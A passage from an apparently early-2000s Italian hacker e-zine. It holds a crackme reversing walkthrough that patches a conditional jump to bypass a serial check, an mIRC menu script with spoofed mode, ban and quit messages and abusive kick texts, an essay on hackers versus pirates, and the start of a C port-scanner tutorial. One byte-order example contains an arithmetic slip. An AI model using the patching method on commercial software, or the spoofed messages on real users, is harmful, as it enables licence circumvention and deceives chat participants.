un eventuale errore o interazione strana con un altro driver porta inevitabilmente al crash. La cosa non e' grave, basta disattivare il driver, ma ovviamente non vi consiglio di provarlo su macchine "critiche" (tipo lan servers ) perche' gli utenti della rete potrebbero "alterarsi leggermente" ;-)) Ok mi pare di aver detto tutto... ci si sente alla prossima Devil (dsdevil@tiscalinet.it) ========================================================================================== UN POKO POKO DI REVERSING Il programma che prenderò in considerazione in questo articolo è il crackme#1 di Ritz. I tools da me usati sono il mitico IDA pro (the best of the best of the best disassmebler e il mitico oltre ogni limite SoftICE) Cominciamo disasmando il prog: start proc near arg_4 = dword ptr 8 arg_8 = word ptr 0Ch arg_C = dword ptr 10h push 0 call j_GetModuleHandleA mov ds:hwnd_app, eax xor eax, eax mov ax, 67h push 0 ; Val di inizializzazione push offset proc_gest_event ; Ptr alla proc di gest event della dialog box push 0 ; Handle to owner win push eax ; Dialogbox template push ds:hwnd_app ; Handle dell'app call j_DialogBoxParamA call j_ExitProcess Bene a questo punto abbiamo già abbstanza chiara la struttura del programma: esso crea una dialogbox e poi si limita a gestire gli eventi che interessano la sua dialogbox, si tratta della classica struttura event oriented, quella che contraddistingue linguaggi come VB, Delphi,... (attenzione: questo non significa che questo crackme sia stato scritto con quei linguaggi). Chiunque di voi abbia un API Reference o ancora meglio le MSDN conoscerà già l'api DialogBoxParam ma x chi non ha ancora reperito nessuno di questi strumenti (fatelo al + presto xkè sono indispensabili :) ) ecco qui: int DialogBoxParam ( HINSTANCE hInstance, // handle to application instance LPCTSTR lpTemplateName, // identifies dialog box template HWND hWndParent, // handle to owner window DLGPROC lpDialogFunc, // pointer to dialog box procedure LPARAM dwInitParam // initialization value ); Bene ora tenendo bene a mente che x passare dei paramentri ad un API dichiarata non Pascal bisogna pusharli nello stack in ordine inverso (lo sapevate già vero :))) ) analizziamo i vari push partendo dall'ultimo fino al primo: - l'ultimo push si occupa di inserire nello stack il valore dell'handle dell'istanza corrente dell'applicazione: questo valore è stato ottenuto da una precedente chiamata all'API GetModuleHandle() (vedi inizio del prog). - il penultimo push immette nello stack il valore del template (modello) di dialogbox che si vuole visualizzare: se provate ad aprire questo pe (pe = portable executable è il nome degli exe sotto win) con un qualsiasi resource analyzer vedrete che nella sezione .rsrc si trovano 2 risorse: l'icona del programma e la dialogbox in questione, ogni risorsa è identificata da un ID number e il val di questo ID x il template della dialog è appunto 103d = 67h - il terzultimo push dovrebbe pushare il val dell'handle della finestra madre della dialog ma dato che questa win non c'è viene pushato NULL (dovrebbe essere hwnd del desktop ma non ne sono sicuro :))) ) - il secondo push è la chiave dell'analisi del prog: esso si occupa di pushare l'indirizzo della routine di gestione degli eventi riguardanti quella dialogbox, ciò significa che al verificarsi di qualisiasi evento che interessi la dialog il controllo verrà passato a quell'indirizzo ed è li che andremo a continuare la nostra analisi - il primo push dovrebbe essere il val da passare alla dialog insieme al messaggio WM_INITDIALOG ma ciò non ci interessa. proc_gest_event: ; DATA XREF: start+14o enter 0, 0 ; Prepara lo stack, si ha che i primi 8 byte ; a partire da ebp sono riservati, dopo di essi ; si trovano i param ke win passa a questa proc di ; gest degli eventi della dialog push ebx push edi push esi xor eax, eax mov ax, [ebp+arg_8] ; Mette in ax il msg cmp ax, 2 ; Messaggio WM_DESTROY jnz short loc_0_401043 ; Messaggio WM_CLOSE jmp short proc_esci La prima istruzione eseguita nella routine di gestione eventi è enter: è un opcode che è stato introdotto x facilitare la programmazione procedurizzata (ovvero che fa molto uso di procedure e funzioni), il suo compito è quello di riservare uno stack frame x la procedura in questione: in pratica (potete controllare anche voi von SoftICE) una nuova zona di memoria viene adibita a stack frame x questa funzione ed i primi 8 byte di quest'area sono riservati x gli indirizzi di ritorno (quando si incontrerà l'istruzione LEAVE). Nel nuovo stack frame utilizzato dopo i primi 8 byte (che abbiamo già detto sono riservati) si trovano i parametri passati alla funzione callback da windows, si tratta di 4 doubleword che sono: - l'handle della dialogbox stessa - il messaggio che le è stato inviato - il wparam - il lparam gli ultimi 2 dati sono parametri aggiuntivi che variano il loro significato a seconda del messag gio che viene passato. Nel pezzo di codice visto sopra notiamo che viene gestito il caso del messaggio WM_DESTROY che viene generato appena prima che una finestra venga distrutta (ma dopo che essa è scomparsa dallo schermo): naturalmente in questo caso il programma jumpa al seguente codice: proc_esci: ; CODE XREF: start+3Fj start+49j push 0 push [ebp+8] call j_EndDialog call j_ExitProcess mov ds:dword_0_4020FE, 1 pop esi pop edi pop ebx leave retn 10h il cui compito è appunto chiudere la dialogbox con l'api EndDialog la quale richiede l'handle della dialogbox da chiudere (l'ultimo push, ricordate quello che vi ho detto in merito a questo stack frame vero? bene così potrete spiegarvi il xkè dell' ebp+8) e il val da ritornare che in questo caso è 0 :) Dopodiche viene chiamata ExitProcess() ed il proc viene chiuso :) Nel caso in cui il messaggio ricevuto non fosse WM_DESTROY il prog jumpa a questo codice: loc_0_401043: ; CODE XREF: start+3Dj cmp ax, 10h ; Messaggio WM_CLOSE jnz short loc_0_40104D ; Messaggio WM_COMMAND jmp short proc_esci Qui ci si occupa del messaggio WM_CLOSE (generato quando viene chiusa una finestra correttamente x es clickando sulla x in alto a destra) ed il comportamento è quello tenuto nel caso del messaggioWM_DESTROY ovviamente :) Nel caso non si tratti neanche di questo messaggio si salta a questo codice: loc_0_40104D: ; CODE XREF: start+47j cmp ax, 111h ; Messaggio WM_COMMAND jnz short loc_0_401057 ; Messaggio WM_INITDIALOG jmp short command_c_param ; Gestione del mex WM_COMMAND Qui viene il bello :) Se il messaggio inviato è un messaggio WM_COMMAND (messaggio generato quando si clicka su un bottone) il programma controlla da quale bottone proviene e jumpa qui: command_c_param: ; CODE XREF: start+53j cmp [ebp+10], 1 ; LOWORD WPARAM == 1 ovvero se il ; messaggio WM_COMMAND proviene dal bottone ; con ID = 1 ovvero il bottone INFO jnz short loc_0_4010A3 ; gestione del bottone registra push 0 push offset aCrackmeRulez push offset aThisProgramMus push 0 call j_MessageBoxA jmp short loc_0_4010AF L'area di mem puntata da ebp+10 contiene la word bassa di wparam il cui significato riferito al messaggio wm_command è quello di identificare il bottone che ha inviato il messaggio (i bottoni sono stati creati dal prog quando viene gestito il messaggio WM_INITDIALOG che ho volutamente tralasciato altrimenti veniva un tema :))) vi basti sapere che: ID == 1 => Bottone info ID == 2 => Bottone registra x stavolta fidatevi di me :))) ) Se il bottone che ha inviato il mex è il bottone di richiesta info il prog stampa una messagebox con dentro alcune cazzate ma a noi interessa l'altro caso: quello del bottone registra :))) loc_0_4010A3: ; CODE XREF: start+8Cj cmp [ebp+10], 2 ; LOWORD WPARAM == 2 ovvero se il ; messaggio WM_COMMAND proviene dal bottone ; con ID = 2 cioŠ il bottone CHECK jz check_routine jmp short $+2 ; Se no procede al codice seguente Se il codice del bottone è 2 (ebp+10==2) allora bingo, ecco la routine di controllo x la registrazione :))) check_routine: ; CODE XREF: start+A7j push 0 push offset unk_0_402196 ; Addr del buffer dove leggere i dati push offset aRitzkey_key ; Nome del file da aprire call j_OpenFile cmp eax, 0FFFFFFFFh ; In caso di err jumpa alla beggar_off jz short Beggar_off push 0 ; No OVERLAPPED push offset num_byte_letti ; Addr del buffer dove mettere il num ; dei byte letti push 60h ; Num dei byte da leggere push offset iniz_file ; Addr del buffer dove mettere i byte letti push eax ; hwnd del file call j_ReadFile cmp eax, 0 ; Se succedono degli err jz short Beggar_off xor edi, edi xor ecx, ecx Imm_nuovi_elem: ; CODE XREF: start+198j mov eax, dword ptr ds:[edi+iniz_file] ; Carica in eax il contenuto del file ; 4 byte alla volta partendo dall'inizio mov ebx, dword ptr ds:[edi+iniz_file+4] ; Carica in ebx 4 byte alla volta partendo ; dall'inizio + 4 byte imul ebx ; ebx*eax ed il res Š messo nella quadword edx:eax add eax, ebx ; eax=eax+ebx loc_0_401187: ; CODE XREF: start+18Ej add al, bl ; al=al+bl dec bl ; bl=bl-1 cmp bl, 0 jnz short loc_0_401187 ; al=al+bl add ecx, eax add edi, 4 ; Si incrementa edi di 4 e si ricomincia ; il ciclo con altre doubleword cmp edi, 5Ch ; Controlla se edi punta a 5C dato che ; 5C+4=60 e si arriva alla fine del file jnz short Imm_nuovi_elem ; Carica in eax il contenuto del file ; 4 byte alla volta partendo dall'inizio mov eax, ecx imul ecx imul edx cmp eax, 0EF0BB1F8h ; confronto tra il serial esatto e quello calcolato dal file jz short Good_guy ; se sono uguali è fatta :) Beggar_off: ; CODE XREF: start+158j start+171j push 0 push offset aRetry push offset aCannotRegister push 0 call j_MessageBoxA jmp loc_0_4010AF ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Good_guy: ; CODE XREF: start+1A5j push 0 push offset aYeah push offset aGreatReverserY push 0 call j_MessageBoxA call j_ExitProcess Eccoci giunti alla parte + importante del prog: la routine che registra il programma :))) Vediamo subito che il programma cerca di aprire un file mediante l'api OpenFile() il cui nome è contnuto all'indirizzo della var aRitzkey_key e che vi mostro subito: aRitzkey_key db 'RitzKey.key',0 ; DATA XREF: start+14Bo Bene ora sappiamo il nome del file che il prog desidera aprire, infatti vediamo che in caso di fallimento (in quel caso eax==FFFFFFFFh) il prog jumpa alla beggar off ovvero alla sezione di codice che dice che il prog non può essere registrato bla bla bla :))) A questo punto procedendo nell'analisi notiamo che il prog tenta di leggere 60h = 96d bytes dal file mediante l'api ReadFile() il cui prototipo è: BOOL ReadFile ( HANDLE hFile, LPVOID lpBuffer, DWORD NumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped ) Sempre analizzando i push in ordine inverso notiamo che viene pushato l'handle del file che è in eax in quanto è stato restituito dalla precedente chiamata ad OpenFile() (la quale ritorna in eax l'handle del file se esso viene aperto con successo), poi un indirizzo di memoria che sarà il buffer in cui andranno a finire i byte letti in caso di successo, dopodiche viene indicato il numero dei byte da leggere (in questo caso indica anche la lunghezza del file dato che non vi sono successive chiamate a ReadFile() o controlli sulla lunghezza,...) che è 60h = 96d bytes, dopodiche viene pushato un altro indirizzo di mem indicante un buffer che verrà riempito con il valore del numero di byte letti (è utile nel caso che il file sia + corto di 60h = 96d bytes o se non si riesce a completare la lettura x colpa di errori vari,...) ed infine un parametro OVERLAPPED che noi ignoriamo. Se succede qualche errore (eax!=0) il prog jumpa ancora alla beggar off altrimenti procede nel controllo del contenuto del file: da questo punto in poi la routine è + che altro matematica e di conseguenza la possiamo tralasciare: quello che fa è prendere 2 doubleword alla volta dal file, una successiva all'altra, e poi moltiplicarle e sommarle fra loro, se qualcuno di voi si vuole divertire a invertire l'algoritmo buon x lui ma io non ne ho voglia e preferisco pathcare :))) Il punto che a noi interessa di + è: cmp eax, 0EF0BB1F8h jz short Good_guy In queste righe vengono confrontati il serial calcolato dall'elaborazione del nostro file con un valore fisso interno al prog, se sono uguali il programma jumpa alla routine di congratulazioni :))) Tutto ciò che dobbiamo fare è fare in modo che il programma jumpi sempre a quella routine trasformando il jz in un jmp :))) Devo ringraziare tutti i ragazzi della uic xkè anche io mi sto piano piano avviando sulla strada del reversing e soprattutto Brigante (che ha avuto la pazienza di aspettarmi) e Devil che sa solo lui come fa a sopportarmi :))) Ciao NikDH ========================================================================================== ------------------------------------- Creazione di uno script [terza parte] ------------------------------------- A quest punto penso che abbiamo cominciato a capire il funzionameto per creare script e le varie funzioni qundi presento la creazione di un menù più impegnativo, non tanto in complessità ma in quantità di comandi diversi anche se di uso comunque, come per esempio l' OP, il kick, etc.. Lo script che seguirà sarà composto da un' unico file ma con 2 script interni che lo dividono in modo che alcune cose appaiano nel menubar e nella status (ed altre vengano nascoste)ed altre nel channel e nella nicklist. Ricordo che il "$me" rappresenta il vostro attuale nick e viene sostituito automaticamente da Mirc all' esecuzione del comando. $$1 rappresenta il nick selezionato nella nicklist che viene sostitui to automaticamente dal Mirc all' esecuzione del comando. # rappresenta il nome del canale in cui siete (intendo al momento che usate il comando che lo include) e viene sostituito automaticamnte da Mirc all' esecuzione del comando. Si si... sono ripetitivo lo sò :-) ma ond' evitare errori meglio ripetere.. Cominciamo creando un nuovo file .mrc (per esempio user.mrc) ed inseriamo il seguente script: menu menubar,status { &USER Action .User Modes ..Invisibility ...On:/mode $me +i ...Off:/mode $me -i ..Wall-Ops ...On:/mode $me +w ...Off:/mode $me -w ..Server Notices ...On:/mode $me +s ...Off:/mode $me -s Invia CTCP .Ping:/ctcp $$1 ping | /echo 7*** $me is pinging $$1 .Page:/ctcp $$1 page $$?="Page Message?" .Finger:/ctcp $$1 finger | /echo 7*** Sending Finger .Help:ctcp $$1 help .Version:/ctcp $$1 version .Time:/ctcp $$1 time .- .Userinfo:/ctcp $$1 userinfo | /echo 7*** Finding User-info about $$1 .ClientInfo:/ctcp $$1 clientinfo | /echo 7*** Finding Client-info about $$1 .Finto:/ctcp $$1 $$?="CTCP? (eg. ping) } menu channel,nicklist { &USER Action .Controlz ..DNS:/dns $$1 ..Fake Commands ...OP: /msg 3,0*** $me sets mode: +o $1 ...DeOP: /me 3,0*** $me sets mode: -o $1 ...Ban { /me 3,0*** $me sets mode: +b $address($1,3) | /me 3,0*** $1 was kicked by $me (kick, ban) } ...Unban { /me 3,0*** $me sets mode: -b $address($1,3) } ...Voice: /me 3,0*** $me sets mode: +v $1 ...DeVoice: /me 3,0*** $me sets mode: -v $1 ...- ...Quit Yourself:/me 2,0*** Quits: $me (E ci credete anche.....hahaha..) ...Quit for Someone Else:/me 2,0*** Quits: $$1 (Leaving) ...Part Yourself:/me 3,0*** Parts: $me $address($1,1) ...Part for Someone Else:/me 3,0*** Parts: $$1 $address($1,1) ...- ...Mass OP:/me 3,0*** sets mode: +ooooooooo $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9 ...Mass DeOP:/me 3,0*** sets mode: -ooooooooo $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9 ...Mass Voice:/me 3,0*** sets mode: +vvvvvvvvv $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9 ...Mass DeVoice:/me 3,0*** sets mode: -vvvvvvvvv $1 $$2 $$3 $$4 $$5 $$6 $$7 $$8 $$9 ..- ..OP/DeOP:/mode # +o $$1 | /mode # -o $$1 ..Special Sop\Aop ...Op:/msg chanserv op $$?="Enter channel:" $$1 ...Deop:/msg chanserv mdeop $$?="Enter channel:" $$1 ...- ...MassDeop:/msg chanserv mdeop $$?="Enter channel:" ...MassKick:/msg chanserv mkick $$?="Enter channel:" ..- ..Ignore ...Ignore:/ignore $$1 1 | /echo 7*** $$1 è nella tua ignore-list | /msg $$1 shit listed By $me | /msg $$1 7*** You are in my ignore-list !!! ...Unignore:/ignore -r $$1 1 | /echo 7*** $$1 non è più ignore-list | /msg $$1 removed from shit list By $me | /msg $$1 7*** You are no longer in my ignore-list !!! ..- ..OP:/mode # +ooooooooo $$1 $2 $3 $4 $5 $6 $7 $8 $9 ..DeOP:/mode # -ooooooooo $$1 $2 $3 $4 $5 $6 $7 $8 $9 ..Voice:/mode # +vvvvvvvvv $$1 $2 $3 $4 $5 $6 $7 $8 $9 ..DeVoice:/mode # -vvvvvvvvv $$1 $2 $3 $4 $5 $6 $7 $8 $9 ..Cool Kicks ...Can't Hear You:/kick $$1 Excuse me...I didn't hear you well... ...Burn In Hell:/kick $$1 Burn in hell lamer ...Die:/kick $$1 Die You Ugly Fuck !!! ...Go To Hell:/kick $$1 Go to hell ! ...GTF Out:/kick $$1 Just get the fuck out a here ! ...Lamers Suck:/kick $$1 Lamers suck ! ...No Idiots Allowed:/kick $$1 No idiots allowed here...that's YOU ...See Ya:/kick $$1 See ya ! ...See Ya In Hell:/kick $$1 See ya in hell asshole ! ...Thanks 4 Sharing:/kick $$1 Thanks for sharing ...You Suck:/kick $$1 You suck ! ..Kick:/kick # $$1 kicked by $me ..Kick (why?):/kick # $$1 $$?="Reason for Kicking:" ..Ban, Kick:/kick # $$1 kick-ban by $me | /ban $$1 2 | /kick # $$1 Turn off Auto-Rejoin! | /kick # $$1 I`m warning you !!! | /kick # $$1 OK, You`re Banned for life !!! ..Ban, Kick (why?):/kick # $$1 $$?="Reason for Ban/Kick:" ..- ..Ban ...*!*@*.domain:/ban $* 4 ...*!*@host.domain:/ban $* 2 ...*!*user@*.domain:/ban $* 3 ...*!*user@host.domain:/ban $* 1 ...- ...nick!*@*.domain:/ban $* 9 ...nick!*@host.domain:/ban $* 7 ...nick!*user@*.domain:/ban $* 8 ...nick!*user@host.domain:/ban $* 6 ...nick!user@host.domain:/ban $* 5 ..Country Bans ...A-G ....Australia: /mode $chan +b *!*@*.au ....Belgium: /mode $chan +b *!*@*.be ....Bolivia: /mode $chan +b *!*@*.bo ....Brazil: /mode $chan +b *!*@*.br ....Canada: /mode $chan +b *!*@*.ca ....Chile: /mode $chan +b *!*@*.cl ....China: /mode $chan +b *!*@*.cn ....Denmark: /mode $chan +b *!*@*.dk ....Egypt: /mode $chan +b *!*@*.eg ....Finland: /mode $chan +b *!*@*.fi ....France: /mode $chan +b *!*@*.fr ....Germany: /mode $chan +b *!*@*.de ....Greece: /mode $chan +b *!*@*.gr ...- ...H-P ....Hong Kong: /mode $chan +b *!*@*.hk ....Indonesia: /mode $chan +n *!*@*.id ....Ireland: /mode $chan +b *!*@*.ie ....Italy: /mode $chan +b *!*@*.it ....Japan:/mode $chan +b *!*@*.jp ....Korea: /mode $chan +b *!*@*.kr ....Lebanon: /mode $chan +b *!*@*.lb ....Malaysia: /mode $chan +b *!*@*.my ....Mexico: /mode $chan +b *!*@*.mx ....il Neilrlands: /mode $chan +b *!*@*.nl ....New Zealand: /mode $chan +b *!*@*.nz ....Norway: /mode $chan +b *!*@*.no ....Pakistan: /mode $chan *!*@*.pk ....Peru: /mode $chan +b *!*@*.pe ....Poland: /mode $chan +b *!*@*.pl ....Portugal: /mode $chan +b *!*@*.pt ...- ...R-Z ....Russia: /mode $chan +b *!*@*.ru ....Singapore: /mode $chan +b *!*@*.sg ....Slovenia: /mode $chan +b *!*@*.si ....South Africa: /mode $chan *!*@*.za ....Spain: /mode $chan +b *!*@*.es ....Sweden: /mode $chan +b *!*@*.se ....Switzerland: /mode $chan +b *!*@*.ch ....Turkey: /mode $chan +b *!*@*.tr ....il U.K.: /mode $chan +b *!*@*.uk ....Venezuela: /mode +b *!*@*.ve ....Yugoslavia: /mode $chan +b *!*@*.yu ..- ..Timed Ban: { /set %ban $?="Seconds For Ban" /ban -u $+ %ban $$1 3 /kick # $$1 Banned for %ban seconds by $me /unset %ban } .- .User Modes ..Invisibility ...On:/mode $me +i ...Off:/mode $me -i ..Wall-Ops ...On:/mode $me +w ...Off:/mode $me -w ..Server Notices ...On:/mode $me +s ...Off:/mode $me -s Invia CTCP .Ping:/ctcp $$1 ping | /echo 7*** $me is pinging $$1 .Page:/ctcp $$1 page $$?="Page Message?" .Finger:/ctcp $$1 finger | /echo 7*** Sending Finger .Help:ctcp $$1 help .Version:/ctcp $$1 version .Time:/ctcp $$1 time .- .Userinfo:/ctcp $$1 userinfo | /echo 7*** Finding User-info about $$1 .ClientInfo:/ctcp $$1 clientinfo | /echo 7*** Finding Client-info about $$1 .Finto:/ctcp $$1 $$?="CTCP? (eg. ping) } I comandi che fanno parte dello script come vedete sono quelli utilizzati normalmente soltanto scritti in modo da renderli selezionabili da un menu alcuni possono essere solo utilizzati se si possiede l' op e se si è in Aop/Sop list altri si possono utilizare sempre anche senza avere l OP. Unico appunto particolare può essere per il ban che è molto esteso, si tratta infatti di un ban che non viene applicato in base al nick ma in base alla Mask ossia dal tipo di localiz zazione geografica in cui si trova per esempio: ....Italy: /mode $chan +b *!*@*.it questo setta un ban nel canale valido per tutte le mask con estensione .it ossia sono bannati tutti gli italiani. L' estensione di tale menu perciò è data dalla presenza di una lista molto lunga di molte localizzazioni geografiche famose per cui non necessita la modifica oppure il fatto di dover digitare il comando ma solo selezionare la Mask da bannare desiderata dal menu. Per quanto riguarda l' attivazione di questo menu non ci resta altro da fare (come al solito) di creare il link nel mirc.ini in [rfiles] proseguendo il listato. Ora aprite il vostro Mirc collegatevi ed esplorate questo nuovo menu per rendervi meglio conto di come è composto. P.S. I comandi indicati con CTCP si basano su un protocollo che è il "Client To Client Protocol" che serve ad inviare comandi al client del nick selezionato per avere informazioni riguardo alcune impostazioni, la versione del client ed altre cosettine carine :-) Invece il DCC si basa su un' altro protocollo che è il "Direct Client to Client" utilizzato per la spedizione di file per esempio. By Darkman =============================================================================================== ------------------------- Hacking e disinformazione ------------------------- Intro Questo è il mio primo articolo, anche se non mi sono proprio conformato con lo stile degli altri articoli e ho scritto un pezzo quasi aulico (ma quando mai???:-)) penso sia importante per la comunità italiana, in generale, cercare di impegnarsi visto che siamo molto pochi a quanto vedo rispetto ai doc in inglese; magari cercando anche di collaborare con le e-zine e crew tra virgo lette minori che noto con piacere stanno fiorendo in canali irc sempre più affollati da favolosi\ E italiani\E. FORZA PATRIOTI SIAMO SEMPRE I MIGLIORI! Hacking e Disinformazione by Mave Ogni tanto mi schifo nel vedere come certi articoli di certi giornalisti, in giornali più o meno specialistici (non faccio nomi ma... chi vuol capir capisca), parlino con mooolta leggerezza di questo o quel problema che riguarda il web (recentemente l'attacco a Yahoo! e il sequestro di alcuni numero di carte di credito), confondendo in modo pauroso termini informatici e spacciandosi per presunti esperti con tanto inappropriate quanto inesatte citazioni tecniche. La cosa che da più disgusto è l'abuso del termine "hacker", usato per indicare dal genio maligno al ragazzino che "entra nel computer" di terzi col netbus! Insomma quanti saprebbero descrivere, fuor di metafora, ciò che è successo davvero nel tanto romanzato "attacco" a Yahoo? Quanti, che invocano legislazioni più severe, conoscono l'Italian Crackdown del 1994 in cui la giustizia italiana si è ridicolizzata davanti al mondo col sequestro di tappetini per mouse? Quanti soprattutto sanno la vera differenza tra HACKER e PIRATA, due termini quasi antitetici ma che ancora ci si ostina a ritenere sinonimi, con conseguente disinformazione e confusione??? Una volta per tutte (speriamo bene!): l'HACKER, quello vero, è una figura assolutamente positiva, CONOSCE (conoscenza è potere, ricordatelo sempre) e vuole essere libero di conoscere, senza secondi fini... Egli inoltre segue, anche nella vita, una sua filosofia, che, rapportata al mondo dei computer e di Internet, dimostra la sua etica: arrivati a un certo punto (nemmeno troppo in alto, credetemi...) nella conoscenza del funzionamento della ragnatela mondiale è facile sapere tutto di tutti, truffare e rubare grazie a conoscenze acquisite "penetrando" in sistemi gestiti da amministratori incompententi o intercettando il traffico spesso non criptato di gente disinformata e ignara (sniffing). Ebbene l' hacker (quello vero) ha accesso ha queste informazioni, sa reperirle in vari modi (rischiando!), ma non lo fa a scopo di lucro, semplicemente perché non gli interessa, non è un truffatore né tantomeno un ladro. Lui vuole solo capire il funzionamento delle cose, nella fattispecie dei computer. Questo è l'Hacker, vi sembra corrispondere alla descrizione che hanno inculcato nelle nostre menti i mass media? Tutto il resto, tutta la feccia di ladri e truffatori "nuova generazione" che si aggira su Internet, anche con alte conoscenze, è il Pirata; specie degenerata dell'originario Hacker, che come fine ultimo non ha la conoscenza, ma il lucro. E' pertanto assolutamente ridicolo chiamare Hacker chi masterizza cd per poi rivenderli! Impossibile andare oltre la distinzione Hacker/Pirata; Internet nasce e si sviluppa con una forte matrice anarchica, che è propulsore stesso del suo sviluppo esponenziale. Abbiamo tra le mani uno strumento potentissimo che ha azzerato tempi e costi di comunicazione e informazione: non rovinate tutto con la disinformazione, non chiamate né considerate "hacker" il ragazzino pirata che ha bloccato le linee di Yahoo!; se ne compiace e gli date così quello che vuole (all'ipotesi del complotto ci credo poco). Chiamatelo "lamer" piuttosto, vedrete che la prossima volta ci penserà su due volte prima di fare il danno, sapendo che c'è gente preparata pronta a raccontare (fuor di metafora), e a commentare, magari giudicandole (perché no?), le sue "eroiche gesta". Mave maverick@freeonline.zzn.com ==================================================================================================== _________________________________________________________________________ TUTORIAL: Come scrivere un semplicissimo portscan in C partendo da zero by --[ fritz ]-- ________________________________________________________________________ -------[ Introduzione Be', partendo da zero e' un po' blasonante, almeno qualche nozione base del C dovete averla, ma non sono richieste conoscenze di programmazione in ambiente di networking (anche perche' altrimenti sapreste forse gia' scriverlo). Un portscanner, nel remotissimo caso che non lo sappiate, e' uno strumento che essenzialmente serve per sapere quali servizi offre un determinato server. Quest'informazione noi potremmo acquisirla non mandando una mail all'amministratore, ma facendo dei tentativi, ovvero provando a connetterci ad ogni servizio e verificandone la sua presenza. Tutto cio' puo' essere automatizzato, ed e' questo il compito di un portscanner. [vabbe' dai questa potevo evitarla, se state leggendo qui saprete di certo cos'e' un portscanner, ma almeno ho risolto il problema di come iniziare l'articolo :) ] Ce ne sono in giro di tutti i tipi, dai piu' semplici che provano la semplice connessione ai piu' elaborati che cercano di farlo in tutta trasparenza, ovvero senza che il sysadmin lo venga a sapere, e usando le tecniche piu' raffinate che presupppongono una buona conoscenza dei protocolli di comunicazione. Quello che illustro io e' del piu' semplice e meno trasparente, insomma 'na fetecchia :) E' utile solo a scopo didattico, come base per poi iniziare a programmare seriamente. Questo semi-tutorial ha come riferimento il C/ANSI e le librerie UNIX, ma con poca fatica si fa il porting per dos (basta cambiare forse il nome degli include e basta o poco piu') -------[ Veniamo al dunque In UNIX, come dice l'ottima guida "Beej's Guide to Network Programming" (http://www.ecst.csuchico.edu/~beej/guide/net): "tutto e' un file", e quindi viene trattato come se si stesse parlando di file. Io aggiungerei che anche in C tutto e' un file, e quindi anche le connessioni vengono trattate quasi nella stessa maniera Continuando la metafora, potrei dire che un port-scanning e' in C come il cercare di aprire un po' di files, ciascuno con un nome formato da un numero incrementale, e riportare alla fine quanti se ne e' riusciti ad aprire. Una programma del genere in C si scrive al volo: #include main() { int n; FILE *fp; char nome_file[10]; for (n=1;n<1025;n++) { sprintf (nome_file,"file_%d",n); if ( (fp=fopen(nome_file, "r")) != NULL ) printf("\nfile %s trovato!",nome_file); } } Una volta compilato ed eseguito, si mette a cercare nella directory corrente se ci sono i file che cerca (dal nome "file_NUMERO", in cui numero e' variabile da 1 a 1024) e se ne trova uno, ci avvisa. Lo stesso si fa con i port-scanner, solo che al posto di "fopen()" si usa "connect()", ed esiste una funzione in piu' per creare il descrittore di file: la funzione "socket()". Per il resto e' tutto simile. I tipi di dati che vengono utilizzati in questo articolo sono int sock; [il descrittore di un socket e' banalmente un "int"] e un particolare tipo per contenere le informazioni sul servizio al quale ci stiamo connettendo, la struttura struct sockaddr_in { short int sin_family; // info sul protocollo da utilizzare struct in_addr; // contenente l'indirizzo del server unsigned short int sin_port; // porta alla quale si tenta la connessione unsigned char sin_zero[8]; // per motivi di compatibilita' } A sua volta la struttura in_addr e' cosi' definita: struct in_addr { unsigned long int s_addr; // ip del server } Questa struttura verra' passata alla funzione "connect()" come si passa per lo stesso motivo il nome del file alla funzione "fopen()". La novita', come gia' accennato, e' che qui non basta definire un descrittore tramite una dichiarazione di variabile (quello che per il caso di prima era semplicemente "FILE *fp;"), ma c'e' una funziona apposita che li crea, la funzione socket(): #include #include int socket(int domain, int type, int protocol); in cui i parametri da passare sono: -int domain --> la famiglia di protocolli da utilizzare, ovvero IP piuttosto che IPX o appletalk o altri -int type --> la "semantica" per costruire pacchetti -int protocol --> altre eventuali specificazioni Il valore restituito e' il descrittore o -1 nel caso di errore. Nel nostro caso, che rappresenta il piu' comune, si vuole creare un socket per comunicare su internet con protocollo IP tramite TCP e il socket giusto (il descrittore di file che verra' usato) sara creato con: int sock; sock=socket(AF_INET, SOCK_STREAM, 0); [per ulteriori info `man 2 socket` :) ] Il valore restituito come gia' detto e' il descrittore che stavamo cercando, e tutte le operazioni di connessione, lettura e invio dati faranno riferimento a questo numero. Il passo successivo e' quello di tentare di instaurare la connessione, e poi verificare quale esito ha avuto, e lo si fa tramite connect(): #include #include int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen); Qui i parametri passati sono: int sockfd --> il socket precedentemente creato const struct sockaddr *serv_addr --> la struttura contenente le informazioni necessarie alla connessione (ip, porta, protocollo) NB: viene passata come puntatore. socklen_t addrel --> la lunghezza della struttura passata, si calcola tranquillamente con sizeof() E viene restituito un valore come risultato della connect(): - se e' tutto ok, ritorna 0 - se c'e' stato qualche errore e la connessione non s'e' potuta instaurare, ritorna -1 Ora, 2 precisazioni: - qui viene usata una struttura diversa da quella vista prima, la sockaddr: nessun problema, noi usiamo la sockaddr_in previa conversione di tipo cast: se avevamo dichiarato struct sockaddr_in indirizzo; ora nella connect() la useremo come connect( sock,(struct sockaddr*) &indirizzo, sizeof(indirizzo)); ovvero usiamo la sockaddr_in precedentemente definita, ma convertita in struct sockaddr (ecco perche' la presenza di unsigned char sin_zero[8] nella prima, per garantire la stessa dimensione in queste conversioni) - byte order, ovvero leggi il paragrafo successivo -------[ Byte Order Gli indirizzi ip vengono memorizzati sotto forma di unsigned long int. quindi saremmo portati a credere che, per esempio, 127.0.0.1 venga memorizzato come (conversione 4 numeri a base 256 in un numero a base 10): 127.0.0.1 = 127*256^3 + 0*256^2 + 0*256 + 127 = 2130706559 oppure 212.216.10.20: 212.216.10.20 = 212*256^3 + 216*256^2 + 10*256 + 20 = 3570928148 fino a 255.255.255.255: 255.255.255.255 = 255*256^3 + 255*256^2 + 255*256 + 255 = 4294967295 (NB=quest'ultimo valore e' uguale a (2^32)-1, quindi un unsigned long int e' pienamente utilizzato per memorizzare un indirizzo ip). Questo e' sbagliato: e' la famosa questione del byte order (thx a Lord Felix che per primo mi avevo spiegato l'arcano tempo fa dopo mie ripetute bestemmie sul compilatore cercando di capire perche' il mio primo progr con i socket non funzionasse). Il byte order e' semplicemente l'ordine con cui i sistemi considerano 